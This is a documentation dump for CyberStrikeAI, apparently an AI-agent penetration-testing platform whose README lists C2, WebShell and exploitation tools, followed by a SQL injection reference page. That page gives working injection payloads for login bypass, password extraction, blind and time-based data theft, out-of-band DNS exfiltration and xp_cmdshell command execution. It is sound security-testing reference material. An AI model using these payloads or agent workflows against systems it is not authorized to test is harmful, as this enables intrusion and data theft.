CyberStrikeAI Documentation

The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves...

5,648 stars Go Go 1 file · ~12,414 tokens #ai#ai-agents#ai-cybersecurity#ai-hacking#ai-penetration-testing#ai-security-tool#ctf-tools#mcp
RAW Doc

File: README.md

CyberStrikeAI

中文 | English

The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

CyberStrikeAI connects planning, execution, human oversight, evidence, and replay in one auditable workspace. Built in Go, it combines Eino-powered agents, MCP-native tools, RAG knowledge, visual workflows, and attack-chain modeling and analysis for authorized security operations.

Start here: Quick start · Documentation · Security hardening

[!IMPORTANT]
Use CyberStrikeAI only on systems you own or are explicitly authorized to test. For shared or production environments, review the security model and hardening guide before enabling high-risk tools, WebShell, or C2 capabilities.

Interface & Integration Preview

Highlights

Agents and orchestration

  • 🤖 Agentic execution translates natural-language intent into governed, auditable security actions.
  • 🧩 Eino orchestration supports single-agent execution plus Deep, Plan-Execute, and Supervisor multi-agent modes.
  • 🔀 Graph workflows combine Agents, tools, conditions, approvals, and outputs into reusable flows.
  • 🎭 Role-based testing provides focused prompts and tool policies for common security scenarios.

Tools and knowledge

  • 🧰 Security tools include 100+ curated YAML recipes with custom extensions and role-scoped access.
  • 🔌 MCP integration supports HTTP, stdio, SSE, external federation, and dynamic tool discovery.
  • ⏱️ Resilient tool execution runs blocking MCP/tool calls in workers with bounded agent waits, resumable execution_id polling, cancellation, per-server circuit breakers, concurrency limits, and unified output caps.
  • 🎯 Agent Skills follow the standard Skill layout and support progressive, on-demand loading.
  • 📚 Knowledge base combines query rewriting, vector retrieval, reranking, and result post-processing.
  • 🖼️ Vision analysis uses a separate vision model for screenshots, captchas, and UI while retaining text summaries only.

Governance and audit

  • 🧑‍⚖️ Human in the loop provides approval modes, tool allowlists, audit-agent review, and traceable decisions.
  • 🔐 Platform RBAC supports multiple users, system and custom roles, scoped permissions, ownership, and explicit assignments.
  • 🔒 Security and audit provide authenticated access, audit logs, SQLite persistence, and operational evidence retention.
  • 📄 Result governance stores the same capped tool result seen by the agent, protects resume paths from oversized historical output, and adds UI safeguards for large detail views. See Tool Execution Governance.

Security operations

  • 📁 Conversation management provides grouping, pinning, renaming, and batch organization.
  • 📂 Projects and attack chains connect cross-session facts, risk scoring, graph views, and step-by-step replay.
  • 🗂️ Asset management normalizes and deduplicates domains, IP addresses, ports, and services; supports XLSX/CSV import and export, advanced filters and saved views, ownership and business metadata, cross-page bulk maintenance, and duplicate merging; and tracks scan coverage, linked vulnerabilities, and risk state. See the Asset Management guide.
  • 🛡️ Vulnerability management provides severity classification, lifecycle tracking, filtering, and statistics.
  • 📋 Batch tasks provide queued execution, editing, status tracking, and retained results.
  • 📱 Chatbots connect Personal WeChat, WeCom, DingTalk, Lark, Telegram, Slack, Discord, and QQ Bot.

Authorized security operations

  • 🐚 WebShell management provides connection management, a virtual terminal, file operations, and AI-assisted workflows.
  • 📡 Built-in C2 provides listeners, encrypted beacons, sessions, task queues, payload helpers, and live events.

WebShell, C2, and other high-risk capabilities are for systems you own or are explicitly authorized to test. See the security model and hardening guide.

Plugins

CyberStrikeAI includes optional integrations under plugins/.

  • Burp Suite extension: plugins/burp-suite/cyberstrikeai-burp-extension/
    Build output: plugins/burp-suite/cyberstrikeai-burp-extension/dist/cyberstrikeai-burp-extension.jar
    Docs: plugins/burp-suite/cyberstrikeai-burp-extension/README.md
  • Browser extension (Chrome / Edge): plugins/browser-extension/cyberstrikeai-browser-extension/
    Capture Network traffic in DevTools and send it to CyberStrikeAI for AI-assisted security testing—aligned with the Burp plugin.
    Install: chrome://extensions/ → Load unpacked → F12 → CyberStrikeAI tab
    Package output: plugins/browser-extension/cyberstrikeai-browser-extension/dist/cyberstrikeai-browser-extension.zip
    Docs: plugins/browser-extension/cyberstrikeai-browser-extension/README.md / README.zh-CN.md

Tool Overview

CyberStrikeAI ships with 100+ curated tools covering the whole kill chain:

View the complete tool categories

  • Network Scanners – nmap, masscan, rustscan, arp-scan, nbtscan
  • Web & App Scanners – sqlmap, nikto, dirb, gobuster, feroxbuster, ffuf, httpx
  • Vulnerability Scanners – nuclei, wpscan, wafw00f, dalfox, xsser
  • Subdomain Enumeration – subfinder, amass, findomain, dnsenum, fierce
  • Network Space Search Engines – fofa_search, zoomeye_search, quake_search, shodan_search
  • API Security – graphql-scanner, arjun, api-fuzzer, api-schema-analyzer
  • Container Security – trivy, clair, docker-bench-security, kube-bench, kube-hunter
  • Cloud Security – prowler, scout-suite, cloudmapper, pacu, terrascan, checkov
  • Binary Analysis – gdb, radare2, ghidra, objdump, strings, binwalk
  • Exploitation – metasploit, msfvenom, pwntools, ropper, ropgadget
  • Password Cracking – hashcat, john, hashpump
  • Forensics – volatility, volatility3, foremost, steghide, exiftool
  • Post-Exploitation – linpeas, winpeas, mimikatz, bloodhound, impacket, responder
  • CTF Utilities – stegsolve, zsteg, hash-identifier, fcrackzip, pdfcrack, cyberchef
  • System Helpers – exec, create-file, delete-file, list-files, modify-file

See tools/README_EN.md for tool definitions, customization, and usage notes.

Basic Usage

Quick Start (One-Command Deployment)

Prerequisites:

One-Command Deployment:

bash
git clone https://github.com/Ed1s0nZ/CyberStrikeAI.git
cd CyberStrikeAI
chmod +x run.sh && ./run.sh

The run.sh script will automatically:

  • ✅ Check and validate Go & Python environments
  • ✅ Create Python virtual environment
  • ✅ Install Python dependencies
  • ✅ Download Go dependencies
  • ✅ Build the project
  • ✅ Start the server

Verify the startup:

  1. Confirm the terminal displays ● ONLINE followed by the actual Web UI URL.
  2. Open that URL; the default HTTPS mode uses a local self-signed certificate, so accept the browser warning once.
  3. On a new installation, store the one-time admin password shown under ADMIN SETUP REQUIRED, sign in, and change it immediately.

Networking defaults: run.sh starts the server with --https and the repo config.yaml (local self-signed TLS; better for many concurrent streams). Use ./run.sh --http for plain HTTP. In production, set server.tls_cert_path / server.tls_key_path in config.yaml (see comments there). For manual runs, add --https or CYBERSTRIKE_HTTPS=1; if -config is wrong, the binary prints a short usage hint on stderr.

First-Time Configuration:

  1. Configure AI channels (required before first use)

    • After launch, open https://127.0.0.1:8080/ (or https://localhost:8080/; replace 8080 with server.port in config.yaml) and accept the self-signed certificate warning once. If you used ./run.sh --http, use http:// instead.
    • Go to System Settings → Basic Settings → AI Channel Configuration, add or edit a channel, then fill in provider, Base URL, API key, model, and token limits. Click Save changes. The left channel list supports setting a default, copy, delete, and bulk probe.
      yaml
      ai:
  default_channel: openai-main
  channels:
    openai-main:
      name: OpenAI Main
      provider: openai_compatible
      api_key: "${OPENAI_API_KEY}"
      base_url: "https://api.openai.com/v1"  # or https://api.deepseek.com/v1
      model: "gpt-4o"  # or deepseek-chat, qwen3-max, etc.
      max_total_tokens: 120000
      max_completion_tokens: 16384
    • Or edit config.yaml directly before launching. ai.default_channel is used for new conversations and tasks that do not explicitly select a channel; the chat page can also select any saved channel per session.

  2. Login - On first startup the console prints an auto-generated initial admin password; create accounts from Platform permissions → User management

  3. Install security tools (optional) - Install tools from tools/ as needed; missing tools are skipped or substituted at runtime. Common examples:

    macOS (Homebrew):

    bash
    brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder

    Linux (Kali / Debian / Ubuntu):

    bash
    sudo apt update
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
# On some distros, install ffuf/nuclei/subfinder via go install or upstream docs

    See the tools/ directory for the full list; refer to each tool's official docs for install details.

Alternative Launch Methods:

bash
# Direct Go run (set up env yourself); add --https to match run.sh defaults
go run cmd/server/main.go --https

# Manual build
go build -o cyberstrike-ai cmd/server/main.go
./cyberstrike-ai --https

If server logs show client sent an HTTP request to an HTTPS server, a client is still using http:// on a TLS-only port—switch the URL to https://.

Note: The Python virtual environment (venv/) is automatically created and managed by run.sh. Tools that require Python (like api-fuzzer, http-framework-test, etc.) will automatically use this environment.

Upgrade and Compatibility

CyberStrikeAI one-click upgrade:

  1. (First time) enable the script: chmod +x upgrade.sh
  2. Upgrade with: ./upgrade.sh (optional flags: --tag vX.Y.Z, --no-venv, --yes). Local tools/, roles/, and skills/ are always preserved.
  3. The script will back up your config.yaml and data/, upgrade the code from GitHub Release, update config.yaml's version, then restart the server.

Recommended one-liner:
chmod +x upgrade.sh && ./upgrade.sh --yes

If something goes wrong, you can restore from .upgrade-backup/ (or manually copy /data and config.yaml back) and run ./run.sh again.

Requirements / tips:

  • You need curl or wget for downloading Release packages.
  • rsync is recommended/required for the safe code sync.
  • If GitHub API rate-limits you, set export GITHUB_TOKEN="..." before running ./upgrade.sh.

⚠️ Before upgrading: review the target release notes for configuration, database, and API changes. Backups are required even for patch upgrades; a version number alone is not a compatibility guarantee.

Configuration

Use config.example.yaml as the authoritative configuration template and copy only the values required for your environment. At minimum, configure the server and one AI channel:

yaml
server:
  host: "127.0.0.1"
  port: 8080
ai:
  default_channel: openai-main
  channels:
    openai-main:
      provider: openai_compatible
      api_key: "${OPENAI_API_KEY}"
      base_url: "https://api.openai.com/v1"
      model: "your-model"

openai is a backward-compatible runtime field; maintain new model settings in ai.channels. Do not commit real credentials. Review the configuration reference, recommended profiles, and security hardening guide before exposing the service beyond localhost.

Project Layout

text
CyberStrikeAI/
├── cmd/                 # Server, MCP stdio entrypoints, tooling
├── internal/            # Agent, MCP core, handlers, C2 (`internal/c2`), security executor
├── web/                 # Static SPA + templates
├── tools/               # YAML tool recipes (100+ examples provided)
├── roles/               # Role configurations (12+ predefined security testing roles)
├── skills/              # Agent Skills dirs (SKILL.md + optional files; demo: cyberstrike-eino-demo)
├── agents/              # Multi-agent Markdown (orchestrator.md + sub-agent *.md)
├── docs/                # Topic docs (deployment, config, security, API, knowledge base, C2, WebShell, etc.)
├── images/              # Docs screenshots & diagrams
├── scripts/             # Repository maintenance checks, including documentation validation
├── config.yaml          # Runtime configuration
├── run.sh               # Convenience launcher
└── README*.md

Basic Usage Examples

text
Scan open ports on 192.168.1.1
Perform a comprehensive port scan on 192.168.1.1 focusing on 80,443,22
Check if https://example.com/page?id=1 is vulnerable to SQL injection
Scan https://example.com for hidden directories and outdated software
Enumerate subdomains for example.com, then run nuclei against the results

Advanced Playbooks

text
Load the recon-engagement template, run amass/subfinder, then brute-force dirs on every live host.
Use external Burp-based MCP server for authenticated traffic replay, then pass findings back for graphing.
Compress the 5 MB nuclei report, summarize critical CVEs, and attach the artifact to the conversation.
Build an attack chain for the latest engagement and export the node list with severity >= high.

CyberStrikeAI has joined 404Starlink

TCH Top-Ranked Intelligent Pentest Project

Community and Support

WeChat group

Sponsorship via WeChat Pay or Alipay

License

CyberStrikeAI is licensed under the Apache License 2.0.
See the LICENSE file for details.

⚠️ Disclaimer

This tool is for educational and authorized testing purposes only!

CyberStrikeAI is a professional security testing platform designed to assist security researchers, penetration testers, and IT professionals in conducting security assessments and vulnerability research with explicit authorization.

By using this tool, you agree to:

  • Use this tool only on systems where you have clear written authorization
  • Comply with all applicable laws, regulations, and ethical standards
  • Take full responsibility for any unauthorized use or misuse
  • Not use this tool for any illegal or malicious purposes

The developers are not responsible for any misuse! Please ensure your usage complies with local laws and regulations, and that you have obtained explicit authorization from the target system owner.

For vulnerability reporting and deployment hardening guidance, see SECURITY.md.

Need help or want to contribute? Open an issue or PR—community tooling additions are welcome!

File: cmd/test-sse-mcp-server/README.md

SSE MCP 测试服务器

这是一个用于验证SSE模式外部MCP功能的测试服务器。

使用方法

1. 启动测试服务器

bash
cd cmd/test-sse-mcp-server
go run main.go

服务器将在 http://127.0.0.1:8082 启动，提供以下端点：

  • GET /sse - SSE事件流端点
  • POST /message - 消息接收端点

2. 在CyberStrikeAI中添加配置

在Web界面中添加外部MCP配置，使用以下JSON：

json
{
  "test-sse-mcp": {
    "transport": "sse",
    "url": "http://127.0.0.1:8082/sse",
    "description": "SSE MCP测试服务器",
    "timeout": 30
  }
}

3. 测试功能

测试服务器提供两个测试工具：

  1. test_echo - 回显输入的文本

    • 参数：text (string) - 要回显的文本

  2. test_add - 计算两个数字的和

    • 参数：a (number) - 第一个数字
    • 参数：b (number) - 第二个数字

工作原理

  1. 客户端通过 GET /sse 建立SSE连接，接收服务器推送的事件
  2. 客户端通过 POST /message 发送MCP协议消息
  3. 服务器处理消息后，通过SSE连接推送响应

日志

服务器会输出以下日志：

  • SSE客户端连接/断开
  • 收到的请求（方法名和ID）
  • 工具调用详情

File: knowledge_base/SQL Injection/README.md

SQL Injection

SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on the database. This can lead to unauthorized data access, data manipulation, and, in some cases, full compromise of the database server.

Summary

Tools

  • sqlmapproject/sqlmap - Automatic SQL injection and database takeover tool
  • r0oth3x49/ghauri - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws

Entry Point Detection

Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.

  • Error Messages: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.

    • Simple characters: ', ", ;, ) and *
    • Simple characters encoded: %27, %22, %23, %3B, %29 and %2A
    • Multiple encoding: %%2727, %25%27
    • Unicode characters: U+02BA, U+02B9
      • MODIFIER LETTER DOUBLE PRIME (U+02BA encoded as %CA%BA) is transformed into U+0022 QUOTATION MARK (`)
      • MODIFIER LETTER PRIME (U+02B9 encoded as %CA%B9) is transformed into U+0027 APOSTROPHE (')

  • Tautology-Based SQL Injection: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering admin' OR '1'='1 in a username field might log you in as the admin if the system is vulnerable.

    • Merging characters

      sql
      `+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP

    • Logic Testing

      sql
      page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

  • Timing Attacks: Inputting SQL commands that cause deliberate delays (e.g., using SLEEP or BENCHMARK functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.

DBMS Identification

DBMS Identification Keyword Based

Certain SQL keywords are specific to particular database management systems (DBMS). By using these keywords in SQL injection attempts and observing how the website responds, you can often determine the type of DBMS in use.

DBMS SQL Payload
MySQL conv('a',16,2)=conv('a',16,2)
MySQL connection_id()=connection_id()
MySQL crc32('MySQL')=crc32('MySQL')
MSSQL BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
MSSQL @@CONNECTIONS>0
MSSQL @@CONNECTIONS=@@CONNECTIONS
MSSQL @@CPU_BUSY=@@CPU_BUSY
MSSQL USER_ID(1)=USER_ID(1)
ORACLE ROWNUM=ROWNUM
ORACLE RAWTOHEX('AB')=RAWTOHEX('AB')
ORACLE LNNVL(0=123)
POSTGRESQL 5::int=5
POSTGRESQL 5::integer=5
POSTGRESQL pg_client_encoding()=pg_client_encoding()
POSTGRESQL get_current_ts_config()=get_current_ts_config()
POSTGRESQL quote_literal(42.5)=quote_literal(42.5)
POSTGRESQL current_database()=current_database()
SQLITE sqlite_version()=sqlite_version()
SQLITE last_insert_rowid()>1
SQLITE last_insert_rowid()=last_insert_rowid()
MSACCESS val(cvar(1))=1
MSACCESS IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0

DBMS Identification Error Based

Different DBMSs return distinct error messages when they encounter issues. By triggering errors and examining the specific messages sent back by the database, you can often identify the type of DBMS the website is using.

DBMS Example Error Message Example Payload
MySQL You have an error in your SQL syntax; ... near '' at line 1 '
PostgreSQL ERROR: unterminated quoted string at or near "'" '
PostgreSQL ERROR: syntax error at or near "1" 1'
Microsoft SQL Server Unclosed quotation mark after the character string ''. '
Microsoft SQL Server Incorrect syntax near ''. '
Microsoft SQL Server The conversion of the varchar value to data type int resulted in an out-of-range value. 1'
Oracle ORA-00933: SQL command not properly ended '
Oracle ORA-01756: quoted string not properly terminated '
Oracle ORA-00923: FROM keyword not found where expected 1'

Authentication Bypass

In a standard authentication mechanism, users provide a username and password. The application typically checks these credentials against a database. For example, a SQL query might look something like this:

sql
SELECT * FROM users WHERE username = 'user' AND password = 'pass';

An attacker can attempt to inject malicious SQL code into the username or password fields. For instance, if the attacker types the following in the username field:

sql
' OR '1'='1

And leaves the password field empty, the resulting SQL query executed might look like this:

sql
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Here, '1'='1' is always true, which means the query could return a valid user, effectively bypassing the authentication check.

:warning: In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a LIMIT clause, you can restrict the number of rows returned by the query. By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.

sql
' or 1=1 limit 1 --

:warning: Avoid using this payload indiscriminately, as it always returns true. It could interact with endpoints that may inadvertently delete sessions, files, configurations, or database data.

Raw MD5 and SHA1

In PHP, if the optional binary parameter is set to true, then the md5 digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.

php
sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

An attacker can craft a payload where the result of the md5($password,true) function will contain a quote and escape the SQL context, for example with ' or 'SOMETHING.

Hash Input Output (Raw) Payload
md5 ffifdyop 'or'6�]��!r,��b 'or'
md5 129581926211651571912466741651878684928 ÚT0DŸo#ßÁ'or'8 'or'
sha1 3fDf Q�u'='�@�[�t�- o��_-! '='
sha1 178374 ™ÜÛ¾}_i™›a!8Wm'/*´Õ '/*
sha1 17 Ùp2ûjww™%6\ \

This behavior can be abused to bypass the authentication by escaping the context.

php
sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
sql1 = "SELECT * FROM admin WHERE pass = ''or'6�]��!r,��b'";

Hashed Passwords

By 2025, applications almost never store plaintext passwords. Authentication systems instead use a representation of the password (a hash derived by a key-derivation function, often with a salt). That evolution changes the mechanics of some classic SQL injection (SQLi) bypasses: an attacker who injects rows via UNION must now supply values that match the stored representation the application expects, not the user’s raw password.

Many naïve authentication flows perform these high-level steps:

  • Query the database for the user record (e.g., SELECT username, password_hash FROM users WHERE username = ?).
  • Receive the stored password_hash from the DB.
  • Locally compute hash(input_password) using whatever algorithm is configured.
  • Compare stored_password_hash == hash(input_password).

If an attacker can inject an extra row into the result set (for example using UNION), they can make the application receive an attacker-controlled stored_password_hash. If that injected hash equals hash(attacker_supplied_password) as computed by the app, the comparison succeeds and the attacker is authenticated as the injected username.

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'--
  • AND 1=0: to force the request to be false.
  • SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92': select as many columns as necessary, here 161ebd7d45089b3446ee4e0d86dbcf92 corresponds to MD5("P@ssw0rd").

If the application computes MD5("P@ssw0rd") and that equals 161ebd7d45089b3446ee4e0d86dbcf92, then supplying "P@ssw0rd" as the login password will pass the check.

This method fails if the app stores salt and KDF(salt, password). A single injected static hash cannot match a per-user salted result unless the attacker also knows or controls the salt and KDF parameters.

UNION Based Injection

In a standard SQL query, data is retrieved from one table. The UNION operator allows multiple SELECT statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a UNION statement to the original query.

Let's assume a vulnerable web application retrieves product details based on a product ID from a database:

sql
SELECT product_name, product_price FROM products WHERE product_id = 'input_id';

An attacker could modify the input_id to include the data from another table like users.

sql
1' UNION SELECT username, password FROM users --

After submitting our payload, the query become the following SQL:

sql
SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';

:warning: The 2 SELECT clauses must have the same number of columns.

Error Based Injection

Error-Based SQL Injection is a technique that relies on the error messages returned from the database to gather information about the database structure. By manipulating the input parameters of an SQL query, an attacker can make the database generate error messages. These errors can reveal critical details about the database, such as table names, column names, and data types, which can be used to craft further attacks.

For example, on a PostgreSQL, injecting this payload in a SQL query would result in an error since the LIMIT clause is expecting a numeric value.

sql
LIMIT CAST((SELECT version()) as numeric)

The error will leak the output of the version().

ps1
ERROR: invalid input syntax for type numeric: "PostgreSQL 9.5.25 on x86_64-pc-linux-gnu"

Blind Injection

Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application's response.

Boolean Based Injection

Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returns TRUE or FALSE. The attacker can infer information based on differences in the behavior of the application.

Size of the page, HTTP response code, or missing parts of the page are strong indicators to detect whether the Boolean-based Blind SQL injection was successful.

Here is a naive example to recover the content of the @@hostname variable.

Identify Injection Point and Confirm Vulnerability : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:

ps1
http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)

Extract Hostname Length: Guess the length of the hostname by incrementing until the response indicates a match. For example:

ps1
http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)

Extract Hostname Characters : Extract each character of the hostname using substring and ASCII comparison:

ps1
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 -- 
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --

Then repeat the method to discover every characters of the @@hostname. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up:

  • Extract characters using dichotomy: it reduces the number of requests from linear to logarithmic time, making data extraction much more efficient.

Blind Error Based Injection

Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returned successfully or triggered an error. In this case, we only infer the success from the server's answer, but the data is not extracted from output of the error.

Example: Using json() function in SQLite to trigger an error as an oracle to know when the injection is true or false.

sql
' AND CASE WHEN 1=1 THEN 1 ELSE json('') END AND 'A'='A -- OK
' AND CASE WHEN 1=2 THEN 1 ELSE json('') END AND 'A'='A -- malformed JSON

Time Based Injection

Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database.

  • Default SLEEP function for the database
sql
' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --
  • Heavy queries that take a lot of time to complete, usually crypto functions.
sql
BENCHMARK(2000000,MD5(NOW()))

Let's see a basic example to recover the version of the database using a time based sql injection.

sql
http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --

If the server's response is taking a few seconds before getting received, then the version is starting is by '5'.

Out of Band (OAST)

Out-of-Band SQL Injection (OOB SQLi) occurs when an attacker uses alternative communication channels to exfiltrate data from a database. Unlike traditional SQL injection techniques that rely on immediate responses within the HTTP response, OOB SQL injection depends on the database server's ability to make network connections to an attacker-controlled server. This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable.

Different databases offer various methods for creating out-of-band connections, the most common technique is the DNS exfiltration:

  • MySQL

    sql
    LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

  • MSSQL

    sql
    SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

Stacked Based Injection

Stacked Queries SQL Injection is a technique where multiple SQL statements are executed in a single query, separated by a delimiter such as a semicolon (;). This allows an attacker to execute additional malicious SQL commands following a legitimate query. Not all databases or application configurations support stacked queries.

sql
1; EXEC xp_cmdshell('whoami') --

Polyglot Injection

A polygot SQL injection payload is a specially crafted SQL injection attack string that can successfully execute in multiple contexts or environments without modification. This means that the payload can bypass different types of validation, parsing, or execution logic in a web application or database by being valid SQL in various scenarios.

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed Injection

Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. - Zenodermus Javanicus

In short, the result of the first SQL query is used to build the second SQL query. The usual format is ' union select 0xHEXVALUE -- where the HEX is the SQL injection for the second query.

Example 1:

0x2720756e696f6e2073656c65637420312c3223 is the hex encoded of ' union select 1,2#

sql
' union select 0x2720756e696f6e2073656c65637420312c3223#

Example 2:

0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 is the hex encoded of -1' union select login,password from users-- a.

sql
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Second Order SQL Injection

Second Order SQL Injection is a subtype of SQL injection where the malicious SQL payload is primarily stored in the application's database and later executed by a different functionality of the same application.
Unlike first-order SQLi, the injection doesn’t happen right away. It is triggered in a separate step, often in a different part of the application.

  1. User submits input that is stored (e.g., during registration or profile update).

    text
    Username: attacker'--
Email: [email protected]

  2. That input is saved without validation but doesn't trigger a SQL injection.

    sql
    INSERT INTO users (username, email) VALUES ('attacker\'--', '[email protected]');

  3. Later, the application retrieves and uses the stored data in a SQL query.

    python
    query = "SELECT * FROM logs WHERE username = '" + user_from_db + "'"

  4. If this query is built unsafely, the injection is triggered.

PDO Prepared Statements

PDO, or PHP Data Objects, is an extension for PHP that provides a consistent and secure way to access and interact with databases. It is designed to offer a standardized approach to database interaction, allowing developers to use a consistent API across multiple types of databases like MySQL, PostgreSQL, SQLite, and more.

PDO allows for binding of input parameters, which ensures that user data is properly sanitized before being executed as part of a SQL query. However it might still be vulnerable to SQL injections if the developers allowed user input inside the SQL query.

Requirements:

  • DMBS

    • MySQL is vulnerable by default.
    • Postgres is not vulnerable by default, unless the emulation is turned on with PDO::ATTR_EMULATE_PREPARES => true.
    • SQLite is not vulnerable to this attack.

  • SQL injection anywhere inside a PDO statement: $pdo->prepare("SELECT $INJECT_SQL_HERE...").

  • PDO used for another SQL parameter, either with ? or :parameter.

    php
    $pdo = new PDO(APP_DB_HOST, APP_DB_USER, APP_DB_PASS);
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';

$stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = ?");
$stmt->execute([$_GET['name']]);
// or
$stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = :name");
$stmt->execute(['name' => $_GET['name']]);

Methodology:

NOTE: In PHP 8.3 and lower, the injection happens even without a null byte (\0). The attacker only needs to smuggle a ":" or a "?".

  • Detect the SQLi using ?#\0: GET /index.php?col=%3f%23%00&name=anything

    ps1
    # 1st Payload: ?#\0
# 2nd Payload: anything
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '`'anything'#' at line 1

  • Force a select `'x` instead of a column name and create a comment. Inject a backtick to fix the column and terminate the SQL query with ;#: GET /index.php?col=%3f%23%00&name=x%60;%23

    ps1
    # 1st Payload: ?#\0
# 2nd Payload: x`;#
Column not found: 1054 Unknown column ''x' in 'SELECT'

  • Inject in second parameter the payload. GET /index2.php?col=\%3f%23%00&name=x%60+FROM+(SELECT+table_name+AS+'x+from+information_schema.tables)y%3b%2523

    ps1
    # 1st Payload: \?#\0
# 2nd Payload: x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS

  • Final SQL queries

    sql
    -- Before $pdo->prepare
SELECT `\?#\0` FROM animals WHERE name = ?

-- After $pdo->prepare
SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM animals WHERE name = ?

Generic WAF Bypass

No Space Allowed

Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.

Alternative Whitespace Characters

Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters.

Example Payload Description
?id=1%09and%091=1%09-- %09 is tab (\t)
?id=1%0Aand%0A1=1%0A-- %0A is line feed (\n)
?id=1%0Band%0B1=1%0B-- %0B is vertical tab
?id=1%0Cand%0C1=1%0C-- %0C is form feed
?id=1%0Dand%0D1=1%0D-- %0D is carriage return (\r)
?id=1%A0and%A01=1%A0-- %A0 is non-breaking space

ASCII Whitespace Support by Database:

DBMS Supported Whitespace Characters (Hex)
SQLite3 0A, 0D, 0C, 09, 20
MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20
MySQL 3 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0
PostgreSQL 0A, 0D, 0C, 09, 20
Oracle 11g 00, 0A, 0D, 0C, 09, 20
MSSQL 01–1F, 20

Bypassing with Comments and Parentheses

SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters:

Bypass Technique
?id=1/*comment*/AND/**/1=1/**/-- Comment
?id=1/*!12345UNION*//*!12345SELECT*/1-- Conditional comment
?id=(1)and(1)=(1)-- Parenthesis

No Comma Allowed

Bypass using OFFSET, FROM and JOIN.

Forbidden Bypass
LIMIT 0,1 LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) SUBSTR('SQL' FROM 1 FOR 1)
